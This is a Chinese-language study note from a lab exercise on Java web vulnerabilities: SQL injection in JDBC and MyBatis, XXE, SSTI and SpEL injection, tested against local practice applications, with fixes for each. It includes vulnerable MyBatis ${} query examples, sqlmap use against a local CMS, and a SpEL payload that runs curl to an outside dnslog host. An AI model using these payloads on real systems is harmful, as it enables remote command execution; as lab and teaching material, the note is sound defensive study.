第66天:漏洞利用-JAVA安全&SPEL表达式&SSTI模板注入&XXE&JDBC&Mybatis注入

两个靶场的搭建:就是配置好一下数据库,重新打包一下,然后将sql文件导入之后就行

image-20250822183850910

image-20250822185035819

1
2
3
#两个靶场的项目地址:
https://github.com/bewhale/JavaSec
https://github.com/j3ers3/Hello-Java-Sec

SQL注入

JDBC

image-20250822190219163

image-20250822190229367

image-20250822190257648

右边的代码,对应的是这种写法的安全模式,如果你非要使用变量的方式,需要有黑或者白名单进行过滤

Mybatis

image-20250822191322697

1
2
3
4
5
6
7
8
9
10
mybatis支持两种参数符号,一种是#,另外一种是$,#使用预编译,$使用拼接sql。
1、order by注入:由于使用#{}会将对象转换成字符串,形成order by "user" desc 造成错误。因此很多研发会采用:${}来解决问题。从而造成注入。
2、like注入:模糊搜索时,直接使用'%#{q}'会报错,部分研发图方便直接改成'%${q}%'从而造成注入
3、in注入:in之后多个id查询的时候使用 # 同样会报错,从而造成注入


示例:
@Select("select * from users order by ${field}")
@Select("Select * from users where username like '%${username}%'")
@Select("Select * from users where id in (${ids})")

image-20250822191914114

image-20250822191932272

image-20250822191948784

安全写法:SQL语句占位符(?)+ PrepareStatement预编译

本地CMS演示

image-20250822195809345

首先修改配置文件。然后配置一下中间件tomcat

image-20250822195836263

如果报错了,就更改一下版本。修改项目结构:

image-20250822200126327

image-20250822200718377

这里要注意修改对应的端口。

image-20250822200901517

image-20250822202249959

访问后台:

账号密码:admin\111111

image-20250822202259252

找到对应的功能点:

image-20250822202609579

1
http://127.0.0.1:9000/admin/article/delete

image-20250822202653134

执行删除操作,抓取数据包。

image-20250822202825184

直接sqlmap梭哈

image-20250822202905502

可以看到确实有注入点。

XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 审计的函数
* 1. XMLReader
* 2. SAXReader
* 3. DocumentBuilder
* 4. XMLStreamReader
* 5. SAXBuilder
* 6. SAXParser
* 7. SAXSource
* 8. TransformerFactory
* 9. SAXTransformerFactory
* 10. SchemaFactory
* 11. Unmarshaller
* 12. XPathExpression
*/

image-20250822204055115

但是我这里不行,不知道为啥。

SSTI

image-20250822204955141

还是报错,我的环境是搭建在linux上,然后这里我把命令改成whoami都不行。

image-20250822205055310

这里我用dnslog带外测试成功。虽然还是报错,但是可以正常执行带外命令,说明命令执行了。

SPEL

可以简单理解为php中的代码执行(eval)

同样是因为环境,用dnslog带外:

1
T(java.lang.Runtime).getRuntime().exec("curl 5yj8ow.dnslog.cn")

image-20250822210113910

SPEL表达式注入思路

1、通过maven,全局搜索一下 org.springframework.expression.spel.standard

2、搜索关键字 SpelExpressionParser 创造SPEL表达式对象的

3、再看看有没getValue(),SPEL表达式执行函数

4、有没有可控参数

漏洞修复

放弃使用 standarEvaluationContext ,权限太大了。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用。

各类靶场

1
https://blog.csdn.net/Python_0011/article/details/133759740